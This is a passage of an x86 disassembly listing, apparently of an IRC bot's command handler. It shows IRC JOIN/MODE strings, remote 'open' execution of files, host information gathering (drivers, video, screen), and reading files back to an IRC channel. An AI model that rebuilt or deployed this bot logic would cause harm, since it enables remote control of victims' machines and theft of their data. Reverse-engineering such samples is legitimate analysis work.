		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E64
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_429E28


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429DFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset dword_429DC0
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DA4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429D88


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429D80
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D64
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D48
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2660F2Bh
		nop
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D00
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CE4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C4C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C30
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429BFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BCC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429B90


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFA4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B38
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429AD0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429A98


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A64
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A24
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_4299E4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299C0
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42999C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_429998 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42996C


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429954
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429934
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429918
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429900
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_4298C0


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298A8
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		call	near ptr 267025Ch
		nop
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429868
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429844
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429814


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297C4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297A4
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CAFF8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB000
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42977C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429754
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429734
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429710
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4296E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
